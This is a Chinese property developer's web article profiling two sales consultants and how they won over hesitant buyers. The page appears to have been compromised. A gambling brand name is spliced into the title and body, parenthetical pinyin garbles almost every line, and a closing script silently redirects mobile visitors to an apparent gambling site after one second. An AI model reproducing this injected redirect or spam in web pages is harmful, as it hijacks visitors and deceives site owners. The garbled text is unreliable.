德赢登入

《销冠养成记》上线,看他们如何为“兴”上人安家

时间: 2020-08-28   浏览: 1589
47.8K

每(mei)一套(tao)房子(zi),都(dou)有“命(ming)中注(zhu)定”的主人

当邂逅一处居(ju)所,能给(ji)客户带来(lai)惊喜

关于家的故事就会在(zai)此诞生

而让房子与主人相遇(yu),便是置业(ye)顾(gu)问(wen)的工作

20个桂(gui)林人中,就有(you)1人是(shi)兴进的业主

能拿(na)下德赢登入销冠(guan)的头(tou)衔

无疑(yi)是一种(zhong)荣(rong)誉,更(geng)是对(dui)能力的肯定(ding)

《兴(xing)进销冠养成记》上线

听他们(men)说一说

那些关(guan)于房子、家以及人(ren)生的故事


01

三(san)心二意

是(shi)我俘获客户的法宝


1.jpg

2019年3月31日,我进(jin)入兴进(jin)·漓江锦府。其实在(zai)(zai)来到项(xiang)目之(zhi)前,我在(zai)(zai)不少楼盘工作过(guo),算得(de)上“职场老手”,但(dan)到了这里却发现,工作强度超乎想(xiang)象,每时(shi)每刻都(dou)在(zai)(zai)与(yu)形(xing)形(xing)色色的客户(hu)打交道。

2.jpg

如(ru)果说销售场如(ru)战(zhan)场,那么我们打得最多的就(jiu)是(shi)“持久战(zhan)”。去年10月,我接(jie)待了一位“特别(bie)”的客(ke)户,她本来就(jiu)有住房,再买(mai)房子想的是(shi)改善(shan)生(sheng)活品(pin)质,因(yin)此对于买(mai)房并没有特别(bie)迫切的想法。

对于(yu)她而(er)言(yan),每个细枝末节都(dou)清晰(xi)明确(que),才是下定决心的前(qian)提。而(er)且,在(zai)看(kan)我们项目的同时,她也去(qu)看(kan)过不(bu)少竞品(pin)楼盘,心里多少有(you)了比较。

客(ke)户(hu)每次(ci)(ci)来看房,都是中午(wu)用(yong)餐的休息时间,忙碌了一(yi)上(shang)午(wu)饥肠辘辘的我在10分钟内“解决”盒饭,并(bing)调(diao)整好状态(tai)迎接客(ke)户(hu)。从(cong)沙盘(pan)到园林展示区,从(cong)样(yang)板(ban)间到工地,我们一(yi)次(ci)(ci)又(you)一(yi)次(ci)(ci)地走,连续4、5个小时不断(duan)地讲(jiang)解项目位置(zhi)优势,解析(xi)配套与(yu)户(hu)型,根据客(ke)户(hu)的需求,介绍她可能会中意的房源(yuan),再一(yi)点点分析(xi)利弊。

3.jpg

不仅如(ru)此,平(ping)时(shi)看到适合(he)她(ta)的房源,我也会主(zhu)(zhu)动与客户联系,并(bing)给(ji)出(chu)(chu)专业的置业方(fang)案(an),每逢节假日还会给(ji)她(ta)送上(shang)一些祝福。从一开(kai)始看房时(shi),客户只想要7楼以(yi)上(shang)的房源,到后来她(ta)主(zhu)(zhu)动提(ti)出(chu)(chu)可以(yi)考虑低楼层的房子时(shi),那一刻我知(zhi)道,漓江锦(jin)府有她(ta)想要的家。

前后近半年持(chi)续联系(xi)、反复交谈,在(zai)经历了20多次(ci)看房之(zhi)后,这位客户(hu)终于(yu)下(xia)(xia)定决(jue)心购买,选中的房源在(zai)3楼,与她最初的想法(fa)并不(bu)一致,可她仍旧毫不(bu)犹豫(yu)地(di)签下(xia)(xia)了这一单。

4.jpg


02

成(cheng)长就(jiu)是(shi)

把不可(ke)能变成可(ke)能

5.jpg

今年是我(wo)待在(zai)兴(xing)进的(de)第(di)五个(ge)年头,从(cong)兴(xing)荣郡到(dao)兴(xing)进·颐景城,地(di)产销售这条路并不好走,但也正是因为这份工(gong)作,让我(wo)变(bian)得更(geng)自信,项目(mu)的(de)每(mei)一(yi)分变(bian)化,都伴随着我(wo)的(de)成长(zhang)。

刚(gang)来到颐景(jing)城时(shi)正值项(xiang)目启动初期,可以说是(shi)困难(nan)重重,经(jing)常(chang)去单(dan)位或是(shi)街(jie)边(bian)拓客(ke),一(yi)趟下来基本(ben)都(dou)超过12小时(shi),就是(shi)为了拥(yong)有更多的客(ke)户资源。

6.jpg

打上百(bai)个电(dian)话,可(ke)能(neng)只有(you)一(yi)(yi)个回复,带看上百(bai)个客户,可(ke)能(neng)才能(neng)签下一(yi)(yi)单。我曾经接待过一(yi)(yi)对(dui)夫妻,他们俩(liang)都是(shi)老师,对(dui)房子有(you)着(zhe)比较高(gao)的要(yao)求。

每次(ci)看房,客户都(dou)会待上大(da)半天,详细地了解项目(mu)配套、产(chan)品(pin)信(xin)息(xi),令人感到他们(men)买房意向度很高(gao),对介绍的(de)(de)房源也(ye)表示满(man)意,甚至拿着(zhe)尺子去工地实际测(ce)量房子的(de)(de)大(da)小。可(ke)到了谈及价格时,客户却采(cai)取回避的(de)(de)态度,找个说辞(ci)就转身离开。

我(wo)接(jie)待(dai)这(zhei)对夫(fu)妻5次以后(hou),经过不停地沟(gou)通,才知道(dao)他们是在帮女(nv)儿挑选(xuan)房(fang)子。当(dang)了解到这(zhei)个情况,我(wo)便重点(dian)询问客户女(nv)儿的喜(xi)好,根据她的喜(xi)好提(ti)出置业建议,积极尝(chang)试着(zhe)解决他们对房(fang)子有的疑虑,果不其然(ran)这(zhei)一单没(mei)多久签下了。

7.jpg

在我(wo)看来,置业顾问不只(zhi)是(shi)把房子卖出去,更为重要的是(shi)帮助(zhu)客(ke)(ke)(ke)户做(zuo)适(shi)合(he)自己的选择。只(zhi)要客(ke)(ke)(ke)户需(xu)要,即(ji)便是(shi)向我(wo)询问竞(jing)品楼盘的情况,我(wo)也会(hui)帮客(ke)(ke)(ke)户“出谋划策”,告诉他们(men)各个楼盘的优势与劣势,让客(ke)(ke)(ke)户能选到与心中(zhong)的家所匹配的那套(tao)房。

8.jpg




房(fang)子(zi),不仅(jin)是安身之所

也代表(biao)着主人(ren)所选择(ze)的生活方式

买到好房与追(zhui)求幸(xing)福一样,不急于一时

而每位业(ye)主(zhu)都是(shi)我们(men)的“兴”上人

很(hen)荣幸(xing)他们与房子有关的故事,由我们来开篇

9.jpg

无数像李微微、罗栩(xu)年一样的置业顾问

正用自(zi)己的方式,努力成为

“兴”上人的(de)理想生活(huo)规划师

携手走过时(shi)光,与更多美(mei)好邂(xie)逅


 


广西兴进实业集团有限责任公司 , 联系电话:400-8622017 , 销售热线: 0773-3677777 , 联系我们 | 免责声明 | 隐私权政策 设计制作:易东传媒
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();